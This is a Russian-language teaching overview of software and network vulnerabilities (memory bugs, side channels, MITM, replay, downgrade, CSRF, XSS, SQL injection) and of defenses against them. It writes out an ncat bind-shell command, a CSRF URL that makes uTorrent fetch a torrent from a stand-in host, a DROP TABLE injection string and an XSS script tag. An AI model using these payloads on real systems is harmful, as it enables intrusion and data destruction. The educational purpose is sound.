--- title: Уязвимости и меры защиты --- # Ⅰ. Основные уязвимости ## 1. Buffer overflow ### 1.1. Суть Есть буфер фиксированной длины `N`. Программа принимает в буфер от пользователя ввод произвольной длины и не проверяет, меньше ли она `N`. В результате перезаписываются байты вне буфера. Частный случай **out-of-bounds write**: запись за границу массива. ### 1.2 Пример Представим HTTP-сервер, который позволяет загружать файлы по сети и отдаёт их обратно. Сервер должен работать быстро и в целях минимизации издержек написан на C++. С этой же целью разработчики сервера стараются складывать промежуточные данные на стэк, в том числе буферы. Так, адрес файла, который приходит при HTTP-запросе на сервер, записывается в стэковый буфер. Размер имени файла ограничен 255 байтами, поэтому буфер заводят на 256 байт (с байтом `NUL`). Однако при записи фактически пришедшую длину не сверяют с максимальной, и, так как в протоколе длина не ограничена, атакующий может запросить файл с большей длиной имени. Тогда перезапишутся данные вне буфера, включая локальные переменные и адрес возврата, после чего программа может исполнять произвольный код. Атакующий подбирает содержимое так, чтобы закрыть слушающий сокет, запустить заместо программы команду шелла: ``` $ ncat -l -e /bin/sh --keep-open 0.0.0.0 80 ``` Она будет принимать по адресу HTTP-сервера произвольные команды, исполнять их в шелле и отправлять вывод. После этого атакующий досылает основной пейлоад — ransomware. И на вырученные биткоины покупает частный остров. ### 1.3. Защита #### 1.3.1. Канарейка ##### 1.3.1.1. Описание Сразу после каждого буфера запишем рандомные байты, которые сохраним также в отдельном месте, не на стэке. Затем перед каждой инструкцией `ret` будем проверять фактические байты с образцовыми. При несовпадении немедленно взрываем программу. ##### 1.3.1.2. Почему это работает Если атакующий имеет в наличии уязвимость, которая позволяет только записывать, то он не сможет в штатной ситуации узнать образцовые байты. Чтобы после перезаписи проверка сошлась, ему должно очень сильно везти по жизни. Таким образом, для эксплуатации требуются дополнительные усилия. #### 1.3.2. Address space layout randomization Чтобы программа исполнила какую-то функцию, она должна прыгнуть по адресу её первой инструкции. Если же мы будем от запуска к запуску класть эту функцию в рандомное место, то атакующему будет заранее неизвестно, каким адресом нужно перезаписать адрес возврата, и, скорее всего, программа прыгнет в недоступную область и взорвётся. ## 2. Use-after-free ### 2.1. Суть Чаще всего это разыменование указателей на освобождённые участки памяти. С более общих позиций это частный случай use-after-invalidation, когда некий ресурс продолжает использоваться после его инвалидации. Кроме памяти, таким ресурсом могут служить, например, файловые дескрипторы. Эксплуатация возможна, когда ресурсы переиспользуются. Например, после закрытия файла файловый дескриптор освобождается и становится доступным для следующего вызова `open`. Если в коде продолжает использоваться ранее закрытый файловый дескриптор, то работать будут уже с новым файлом. Если представить, что доступ к новому файлу ограничен, возможна утечка секретов. Более часты, разумеется, использования инвалидированных аллокаций памяти. Принцип эксплуатации тот же: освобождается память под небольшой объект `A`, затем выделяется объект `B` того же размера. В результате получаем в двух местах проги ссылки на тот же адрес. Если атакующий контролирует один указатель (например, если это вектор на куче под юзерский ввод), то он может влиять и на другое использование (например, буфер для серверного ответа). ### 2.2. Пример В C++ use-after-free водится в диких масштабах, и улучшению ситуации не способствует инвалидация итераторов. Допустим, мало кто будет юзать итераторы и при итерации изменять содержимое контейнера. Это очевидно приведёт к расстрелу ноги. В реальности ошибки обычно прячутся где-то в глубине кода. Допустим, один умелец решил запилить свой JS-интерпретатор и браузер. В этом языке (помимо прочего) есть динамические массивы. Часть элементов, как и принято, хранится в векторе, часть — в хэш-мапе. Так как памяти не то чтобы много, когда элементы удаляются, буфер может перевыделиться с меньшим размером. А ещё у массивов в JS есть метод `sort`, который может сортировать пользовательским компаратором. ```js= let arr = [4, 3, 2, 1]; arr.sort((lhs, rhs) => { if (lhs < rhs) return -1; if (lhs > rhs) return 1; return 0; }) console.debug(arr) --> [1, 2, 3, 4] ``` Функцию сортировки, недолго думая, программист решает реализовать прямо на C++. Для скорости. ```cpp= class JSArray { static JSObject prototype = { { "sort", [](JSContext *ctx, JSObject *self, JSArgs &args) -> JSFunctionResult { // всякая туфта... if (self->type() != JSType::Array) { return {}; } JSObjectComparator cmp = JSObjectComparator::lexicographical(); if (args->size() > 0 && args[0]->type() == JSType::Function) { cmp = JSObjectComparator::from(args[0]->toFunction()); } JSArray *array = self->toArray(); JSObject *data = array->data(); // здесь суть std::sort(data, data + array->size(), cmp); return {}; } }, ... } ... }; ``` Одна здесь незадача. Пользовательский компаратор, написанный на JS, может спокойно изменять содержимое массива, в том числе удалять оттуда элементы. А при удалении может произойти реаллокация буфера. Но `std::sort` об этом знать не будет и продолжит сортировать в прежних границах, как ни в чём не бывало. Атакующий замечает эту багу и начинает действовать. Забивает массив нужными данными. Пишет зловредный компаратор, который удаляет из массива элементы, форсит реаллокацию и размещает данные в нужном порядке. В параллельно работающем потоке рендерера после реаллокации, но до завершения `std::sort` происходит аллокация полиморфного объекта, своим размером близким к старой длине массива. Аллокатор переиспользует участок памяти под старый массив. Рендерер записывает свои данные, но сортировщик перерисовывает их под себя. Так как любой полиморфный объект начинается с указателя на таблицу виртуальных методов, то зловредный компаратор переписывает её на свою, заранее рассчитанную, чтобы все эти методы делали `system("calc.exe")`. Далее вызывается рендерером какой-то виртуальный метод. Теперь любой пользователь, который зайдёт на страницу атакующего и исполнит его JS-код (вы выключаете JS на рандомных сайтах? Вот и он не отключает), увидит крашнувшийся браузер и запущенный калькулятор. И будет сильно недоумевать. Более практичный атакующий ставит вместо калькулятора свою рансомварь, ловит биткоины и покупает частный остров. ## 3. Double free ### 3.1. Суть Дважды инвалидируем один и тот же ресурс. С файлами: поток A закрыл файловый дескриптор 42, поток B открыл файл с этим fd, а поток A снова случайно закрыл его. Но обычно это память. На аллокацию дважды натравляем `free`. Обычно прямо так, втупую, аллокаторы могут быстро увидеть повторный `free`, и прога взрывается. Однако когда освобождается и выделяется много объектов небольшого размера, проверка может не сработать. ```c= #include <stdlib.h> int main() { void *a = malloc(16); void *p[8]; for (int i = 0; i < 8; ++i) { p[i] = malloc(i); } for (int i = 7; i >= 0; --i) { free(p[i]); } free(a); // ........ for (int i = 0; i < 8; ++i) { p[i] = malloc(i); } free(a); // !!!!!!!! } ``` Этот код на момент написания компилировался и запускался без фейерверков. Эксплуатация сложнее, чем use-after-free, но суть та же. Один и тот же участок памяти два раза попадает в список пустых кусков. Таким образом, `malloc` может вернуть его дважды. В один и тот же кусок будут пихать данные из двух разных мест в коде. Если интрудер контролирует один, то он сможет управлять другим. ### 3.2. Пример В общем-то, браузеры очень хорошо терроризируются ошибками памяти, потому что аллокации происходят постоянно на каждый чих, и их можно запросить вручную из JS-кода созданием буферов. Предыдущий пример можно переделать и под double-free. Требуется пошаманить с аллокациями/деаллокациями так, чтобы обойти все проверки в аллокаторе. Проверки не обеспечивают полную защиту, так как аллокаторы в первую очередь делают ради скорости, и валидация только расходует такты проца на то, что в нормальных прогах никогда не должно случиться. Затем мы так же добиваемся, чтобы `malloc` дважды вернул один и тот же указатель. Причём один должен юзаться под содержимое массива в JS-коде, а другой — где-то в другой, более доступной для атаки части браузера. Прокручиваем фарш и покупаем частный остров. Кроме интерпретаторов, люди очень любят ломать парсеры сложных форматов. Мне припоминается [вот такой случай](https://awakened1712.github.io/hacking/hacking-whatsapp-gif-rce/). Не сказать, что GIF дико сложный, но из близкого к жизни пример примечателен. Имеем: дважды парсится гифка, парсер маллокает служебный стракт с указателями на функции, которые дважды фришатся, и буфер под кадр. Вызываем double free, дальше добиваемся аллокации буфера и служебного стракта (данные подбираем, чтоб буфер был по размеру равен стракту). Они получают одинаковые куски памяти. Из файла пишется в буфер, из-за чего также меняется содержимое стракта. Затем вызывается функция по указателю оттуда, который мы переписали на нужный. Там есть ASLR, поэтому нужный адрес функции определить придётся с помощью ещё одной уязвимости. Также нужно подготовить аргументы. Когда рутина готова, имеем возможность запускать произвольный код на девайсе. При этом от юзера требуется минимальное взаимодействие — открыть галерею. Шифруем, требуем биткоины, летим на частный остров. ## 4. Timing attack ### 4.1. Суть Есть некий сервер, обрабатывающий запросы. Он имеет дело с секретами (ключи шифрования, например). Если он имеет неосторожность при каких-то значениях ключей работать быстрее, чем при других, мы можем получить инфу, просто замерив время ответа. ### 4.2. Пример Криптографические примитивы основываются на многократных элементарных числовых или побитовых операциях: сложить, умножить, перемешать биты. Алгоритм может достичь того, чтобы нельзя было восстановить ввод по выводу. Но реализация может сливать дополнительные данные о вводе: например, если нулевой бит обрабатывается быстрее единичного. Классически рассматривают RSA. Это такой суровый алгоритм: он простой концептуально, но надо перемножать огромные двоичные числа. Это долго, надо ускорять. Как умножаем в столбик? Берём разряды второго множителя, умножаем каждый на первый и складываем: ``` ab = a(2⁰b₀ + 2¹b₁ + 2²b₂ + ⋯) = 2⁰ab₀ + 2¹ab₁ + 2²ab₂ + ⋯ ``` Здесь `bₖ` — либо `0`, либо `1`. Мы просто прибавляем к промежуточному результату либо `a << k`, либо нуль. Кажется, вторая операция бесмысленна. На ноль умножать не надо, можно просто скипнуть разряд. Будет быстрее. Но теперь время работы умножения зависит от количества единиц в ключе. В шифротексте такой инфы нет, а вот секундомер её может предоставить. Если повезёт, и мы восстановим достаточно битов, остальные нетрудно будет забрутфорсить, так как должны выполняться математические требования. И шифратор взломают. Зато быстро работал, да. Не только криптографических примитивов это касается. Вот есть веб-сервер, который принимает запросы аутентификации: юзер и пасс. Если юзер есть в БД, начинаем хэшировать пароль (что занимает заметное время во избежание лёгкости брутфорса, как и принято). Если же нету, сразу отправляем ответ. Атакующий определяет "пинг" — точнее, время ответа сервера. Оно обычно более-менее стабильно. Затем посылает тестовые юзернеймы. Если ответ приходит быстро, то такого акка на сайте нет. Иначе он имеется. Вероятно. Если перечисление юзеров не запланированная фича (на каком-нибудь сайте с сомнительной репутацией), атакующий может легко проверить, кто на сайте зареган. Будет неприятно. Наконец, совсем не связанный с криптографией пример. Не так давно трубили про уязвимости в процессорах (Spectre и Meltdown). Когда есть ветка в коде, проц просто пытается угадать результат и исполняет команды дальше, даже не зная реального результата проверки. Это называется спекулятивным исполнением. Критически важно для производительности, иначе бы любой бранч её просаживал до неюзабельности. Но спекулятивно могут осуществляться и доступы в память. А это влечёт предзагрузку в кэш. Если есть какая-то секретная переменная, от значения которой зависит, попадут какие-то данные в кэш или нет, мы можем дальше тыкнуть в это данное и замерить время. Быстро пришло — было предзагружено, одно значение. Долго ждали — в кэше не нашлось, значение другое. Секретные данные — это, например, сессионные ключи или базовые адреса загруженных сегментов программ. В общем — то, что просто так было недоступно. И опять вспоминаем, что мы лезем на васянские сайты, где исполняем десятки тысяч кода от нонейма. И умельцы уже [смогли заиспользовать](https://leaky.page/) эту дыру с помощью JS. Который, на первый взгляд, весьма далёк от кэшей и управления памяти. ## 5. Другие атаки по сторонним каналам Timing attack — это одна из разновидностей атаки по сторонним каналам. Кроме времени, информацию о системе можно получать, изучая её энергопотребление, анализируя электромагнитное излучение или порождаемые звуковые волны. Как можно понять, здесь обычно нужен либо непосредственный физический контакт, либо, по крайней мере, близость к объекту исследования. Поэтому такие атаки используются для каких-то мелких устройств вроде карточек-пропусков. ## 6. MITM ### 6.1. Суть Прежде чем пакет от программы-клиента дойдёт до другого конца соединения, он пройдёт через несколько маршрутизаторов. Если в цепочке один из них зловредный, то он может помимо собственно ретрансляции трафика его ещё и перехватывать и куда-то сохранять для просмотра злодеем. Может быть нарушена конфиденциальность соединения. ### 6.2. Пример Зловредный маршрутизатор обычно расположен на шлюзе конечной сети. В конторах, особенно больших, любят ставить сетевые фильтры — они именно митмом и занимаются. Смотрят трафик, отрезают "нежелательный". В России это ещё и у провайдеров всех поставили. Если работаем с HTTP-сайтами не по протоколу HTTPS, то в общем случае нас могут перехватить и прочесть, как книгу. Раньше интернет-банки почему-то тупили и по простому HTTP работали. Так что если на работе кто-то хотел полюбоваться на сбережения, безответственный сисадмин мог бы после работника без его ведома работать в его акке на сайте банка. Вообще говоря, это несколько экзотические случаи. Протокол TLS (HTTPS — это HTTP поверх TLS) эффективно предотвращает перехват и подмену трафика. А так как большинство соединений у нас как раз через TLS совершаются, то на деле в сети не так уж много доступного секретного трафика. Разве что иногда случается, что какие-то жутко "умные" лампочки лезут на серв в инете без аутентификации, без шифрования и без защиты от подмены трафика. Со встраиваемыми устройствами это вообще извечная проблема, что вендоры в погоне за дешевизной и удобством пишут уродливый багованый код, где о безопасности и приватности совершенно не задумываются. А потом рандомные нонеймы могут к веб-камере в доме подключиться и застать в самом лучшем случае кого-то за просмотром... ну, допустим, аниме. Более реально митмить самого себя, как бы странно это не звучало. Есть какая-то прога, которая выполняет какие-то сетевые запросы, и нам очень хочется посмотреть куда и зачем. Настраиваем прокси-серв, подменяем сертификаты и наблюдаем, как служба доставки пиццы каждые 5 секунд шлёт инфу о текущем местоположении на серв. Как всегда, взлом — это благо, только если ты им занимаешься сам. Ещё стоит упомянуть, что какие-то зажравшиеся провайдеры в HTTP-трафик вживляли свою рекламу, что очень неприятно. ### 6.3. Защита Использовать TLS для сети. Или другие проверенные протоколы безопасности. Не посылать данные, как минимум секретные, плейнтекстом. А лучше вообще ничего плейнтекстом не слать. ## 7. Replay attack ### 7.1. Суть Перехватываем сообщение и отправляем получателю дважды. ### 7.2. Пример Допустим, мы секретные ключи обменяли, зашифровали сетевые сообщения, и теперь никто не сможет их изменить по-своему. Malicious Mallory всё так же перехватывает сообщения, но никакой пользы они не несут, так как ни внутрь заглянуть не получится, ни скрафтить собственные. Но она может взять уже отправленный пакет и отправить его ещё раз. Если пакету соответствовала какая-то операция, сервер её повторит. В жизни, правда, replay attack встречается несколько в иных обстоятельствах. Так как просто автомобильные ключи — это как-то скучно и старомодно, то уже давно они обычно имеют вдобавок специальный брелок, которым можно удалённо подать команду на отключение сигнализации и закрытие или открытие дверей. И вот извечная проблема их в том, что даже если происходит аутентификация, то можно поставить радиосниффер, подслушать пакеты отпирания дверей и, разумеется, затем перепроигрывать пакет самому. Двери открываются, и машина непромедлительно угоняется. Grand Theft Auto IRL. В Европах и Америках есть ещё умные дома в каждом углу. Из умностей они обычно умеют удалённо (чувствуете, как сценарий стырили?) двери открывать и закрывать. Ну а что, вдруг запереть забыл, а уже уехал в город работать. Глянул так, закрыл, спишь спокойно. И как-то неосмотрительно позвал хозяин Ваню выпить чаю. Сидит себе в гостиной, расставляет источники глюкозы, а Ванюша уже звенит и на пороге чиллит в телефон. Ваня пришёл подготовленным: в рюкзаке у него Raspberry Pi с распаянным SDR-модулем (позволяет программно читать и генерить радиосигналы). Хозяин, конечно, спускаться не хочет, юзает брелок, тыкает там кнопочку, а брелок швыряет в воздух радиопакет, который замок ловит и соответствующе обрабатывает. Ваня входит, пьёт чай, затем повысил градус, и вот хозяин в хлам убит и спит на веранде. Ванюша же повторно отправляет пакет на открытие дверей, входит в дом, облутывает его, сбывает шмот на Ebay и улетает на частный остров. ## 8. Downgrade attack ### 8.1. Суть Протоколы безопасности обновляются, но требуется соблюдать обратную совместимость. Поэтому появляется какая-то система установления версии используемого протокола. Обновляются же протоколы не просто так, а потому что были какие-то дыры. Мэллори опять перехватывает трафик и подменяет его так, чтобы клиент и сервер юзали древнюю, дырявую версию протокола. И затем юзает уже известные способы обхода защиты. ### 8.2. Пример В TLS (см. 6.2) есть версионирование, сейчас последняя версия — 1.3. А до него были, например, SSL 2.0 с древними шифрами. Проблема в том, что когда это всё затевалось в девяностых, в США действовал экспортный контроль в отношении систем шифрования, и длина ключей там ограничивалась. Если мы перехватим трафик и подменим используемую версию и набор шифров так, чтобы там длина ключей была достаточно легко брутфорсируемой, то сможем потом легко прочесть, что гнали по каналу связи. Но это не сильно практичный пример, потому что любой нормальный сервер просто не даст установить соединение с таким древним протоколом. Есть несколько древнейших протоколов, которые изначально вообще не имели никакой защиты, но до сих продолжают использоваться. Самое известное — это, конечно, SMTP (протокол отправки электронной почты) и FTP (протокол передачи файлов), но ещё есть, например, любимый хакерами IRC. Протоколы юзаются, а безопасность бы иметь хотелось. Ну, тут чуваки конкретно не подумали и просто сделали в протоколе команду `STARTTLS`. То есть установили мы соединение с почтовым сервером и пишем ему `STARTTLS`. И тогда получаем безопасность. А без неё продолжаем слать плейнтекстом. Мэллори перехватывает запрос клиента на подключение к почтовому серверу, и от своего имени его отправляет, стирая оттуда команду `STARTTLS`. А клиенту говорит, что сервер слишком старый и такую команду не знает. Клиент пожимает плечами... и шлёт почту Мэллори плейнтекстом. HTTP тоже таким страдает. У него трафик HTTP (нешифрованный) на 80 порту, а HTTPS (шифрованный) — на 443. Ставим файрволл, который просто блокирует исходящие соединения на порт 443. Браузер пожимает плечами и отправляет юзера на 80 порт без шифрования. Там придумали хитрую систему, где если мы один раз смогли зайти по HTTPS на сайт и он нам вернул в ответе заголовок HSTS (HTTP Strict Transport Security), то браузер запоминает это и открывать не по HTTPS сайт впредь отказывается. HSTS как раз говорит, что сайт должен работать только по этому протоколу. В инспекторе можете глянуть на этот заголовок: зайдите на гугл, например. ![](https://i.imgur.com/MgBbGiv.png) Впрочем, если юзеру никто никогда не скажет, что такой заголовок есть, то и действовать это не будет. ## 9. CSRF / XSS ### 9.1. Суть JS-код отправляет сетевые запросы на другие сайты, представляется юзером и без ведома этого юзера выполняет какие-то действия на этих потусторонних сайтах. ### 9.2. Пример Это чисто веб-проблема. Юзер заходит на сайты и выполняет JS-код, который он даже не видел. А этот код умеет сам выполнять HTTP-запросы. И вот он шлёт запрос на фейсб... ой, он же экстремистский, ну, в вашу любимую соцсеточку, чтобы лайкнуть пост в поддержку игральных кубиков. А юзер уже там залогинен, и браузер помнит куки юзера с данными авторизации, и с ними же он посылает запрос, и всё проходит. Пока юзер смотрит погоду, пост про кубики выбивается в тренды. Впрочем, такой трюк уже лет пятнадцать как не сработает. Есть на сайтах, теперь уже, правда, древних, HTML-формочки с полями. Юзер-пароль, например. Там, в HTML, записан URL, куда по нажатию на кнопку `submit` данные будут отправляться. Для веселья допустим, что мы имеем дело с онлайн-казино. Там есть форма с полем для размера ставки. Васян, дружный с владельцем казино, у себя, на своём абсолютно левом сайте, ставит такую же форму, только прикрывается какой-то коммунистической повесткой (пожертвования на мировую революцию), с казино не повязанной, но URL отправки, который юзер не видит, в HTML ставит игральный. Сомневающийся коммунист (а также в меру успешный игрок) заходит на васянский сайт, пишет, полный эмоций, 100 килорублей в форму, жмёт по `submit`, и внезапно узнаёт, что мировую революцию он учинил в казино. А ещё можно пробовать слать пакеты на `localhost`. Там, как ни странно, тоже могут быть веб-серверы всякие. Хрестоматийный и всем известный пример — это uTorrent, у которого веб-интерфейс был. Можно было послать GET-запрос на него, чтобы он начал качать торрент по ссылке. На куче сайтов можно оставлять комментарии и вставлять пикчи по ссылке. Ванюша смотрел котиков и, растроганный милотой, оставил комментарий с картинкой, а ссылку дал такую: ``` http://localhost:8080/gui/?action=add-url&s=http://vasy.an/exploit.torrent ``` Теперь любой пират, который тоже приходит за кошками, внезапно начинает качать и раздавать эксплоит. В принципе, это хорошее такое облачное хранилище: неприкосновенный запас аниме можно в торрент такой добавить, и потом сотня-две рандомов будут его хранить у себя и раздавать в торрентах, как минимум некоторое время. Правда, саге лет пятнадцать, и уже давно это всё работать не будет. Из более современного — вот [тут](https://habr.com/ru/post/647515/) хабру тоже покалечили. Добавили пикчу в коммент, а в качестве ссылки указали ту, что для логаута. И всё. Зашёл почитать — а тебя вышвырнуло из акка. ## 10. SQL/script injection ### 10.1. Суть Сервер принимает строку и дословно её копирует в SQL-запрос или в содержимое документа без экранирования. Атакующий может вставить содержимое, которое проинтерпретируется как запрос SQL или HTML-тэг, и либо обращаться к БД без проверок, либо заставлять пользователей выполнять свой код в браузере. ### 10.2. Пример Пример по мотивам классики: ![](https://imgs.xkcd.com/comics/exploits_of_a_mom.png) Веб-сервер с формой аутентификации: юзер-пароль. Сервер делает SQL-запрос в базу данных, чтобы проверить, зарегистрирован ли юзер. ```python cursor.execute("SELECT username, password " + "FROM users " + "WHERE username = '" + username + "'") ``` Здесь переменная `username` приходит из данных запроса, например: ```json {"username": "vasya", "passwordHash": "12345678901234567890123456789012"} ``` Атакующий, недолго думая, вбивает в форму юзернейм `vasya'; DROP TABLE users;--`. На сервер отправляется запрос: ```json {"username": "vasya'; DROP TABLE users;--", "passwordHash": "1234567890123456789012"} ``` Сервер обращается в БД, отправляя уже ей SQL-запрос: ```sql SELECT username, password FROM users WHERE username = 'vasya'; DROP TABLE users;--'; ``` В SQL `--` обозначает комментарий. Таким образом, база данных получает два запроса: выборки данных и удаления таблицы юзеров. Послушно исполняет. И на сервере уничтожаются данные о зарегистрированных пользователях. Для script injection тоже есть пример. Опять веб-сайт с возможностью оставить комментарии. Допустим, сервер просто принимает строку и дословно её вставляет в генерируемую HTML-страницу: ```python comment_html = [] for comment in comments: comment_html.append(''' <div class="comment"> <div class="username">{username}</div> <div class="commentBody"> <p>{body}</p> </div> </div> '''.format(username=comment.username, body=comment.body)) reply(page_template.format(comments=''.join(comment_html))) ``` Атакующий посылает комментарий, в который вставляет HTML-тег `<script>`: ```html Привет всем, я так рад вас <script> alert("взламывать"); </script> ``` Теперь каждый раз, когда кто-то открывает страницу, сервер отправляет: ```html <html> <head>...</head> <body> ... <div id="commentSection"> ... <div class="comment"> <div class="username">vasyan</div> <div class="commentBody"> <p>Привет всем, я так раз вас <script> alert("взламывать"); </script></p> </div> </div> ... </div> </body> </html> ``` И браузер, получивший такое, интерпретирует часть комментария как код на JavaScript, который тут же исполняет. Опасность в том, что браузер считает, что скрипту на сайте, который отправляет сетевой запрос на тот же сервер, можно доверять, и потому вставляет все заголовки, в том числе данные авторизации. Скрипт может вместо юзера написать кучу комментариев или зарепортить кого-то. ### 10.3. Защита Санитайзить данные, то есть служебные символы экранировать. Для SQL-запросов использовать имеющиеся средства интерполяции: ```python cursor.execute("SELECT username, password FROM users WHERE username = %s", (username,)) ``` Аналогично это делается и с другими языками и библиотеками. # Ⅱ. Общие меры защиты ## Изоляция Linux имеет обширные возможности для изоляции и ограничения процессов. Можно запретить ему исполнять системные вызовы, которые не требуются программе, не давать писать в файлы кроме разрешённых, заблокировать доступ в сеть. Программа по сути помещается в песочницу, в которой ей сложно что-то плохое сделать при всём своём желании. Таким образом даже после эксплуатации уязвимости в изолированной программе — точки проникновения — требуется дополнительный и более сложный поиск уязвимостей, позволяющих сбежать из песочницы. ## Ограничение секретов Если какая-то информация хранится на сервере, рано или поздно она может утечь. Если же секреты в принципе не хранить, то и утекать будет нечему. Например, пароли достаточно хранить в виде хэшей (с рандомной несекретной присыпкой в виде нескольких дополнительных байт, называемой солью, чтобы по хэшу не нагуглили потом). Даже если БД сольют, пароли извлечь не получится. Придётся брутфорсить. ## Аудит Доскональная проверка программы независимыми людьми. Возможно, с использованием формального доказательства корректности программы. Для реальных систем обычно слишком затратна и потому проводится только для криптографических библиотек, где заботы о безопасности превышают финансовые вопросы. ## Безопасные языки Языки, где не надо вручную управлять памятью, от всех проблем не защитят, но, по крайней мере, уменьшат вероятность, что будут проблемы вроде buffer overflow. Впрочем, реализация языка такого тоже может быть не без изъянов и является интересным объектом исследований, так как используется множеством несвязанных программ. ## Использование готовых криптографических систем По возможности лучше использовать проверенные реализации криптографических примитивов и систем. Не нужно изобретать собственный протокол безопасности передачи данных, когда устроит TLS. Не надо самому (в проде) реализовывать SHA2-512, когда уже есть готовый и верифицированный. ## Обновления Программа обычно завязана на монструозной комбинации кучи библиотек, и в каждой из них могут быть те же проблемы, которые рассматривали выше. К счастью, добрые люди регулярно эти проблемы находят и репортят. К несчастью, даже после фикса библиотеку ещё нужно обновить в используемых приложениях. Поддержание зависимостей в актуальном состоянии поможет, если не защититься от уязвимостей в принципе, хотя бы заставить атакующего тратить время на исследование программы, а не использовать готовые и известные баги.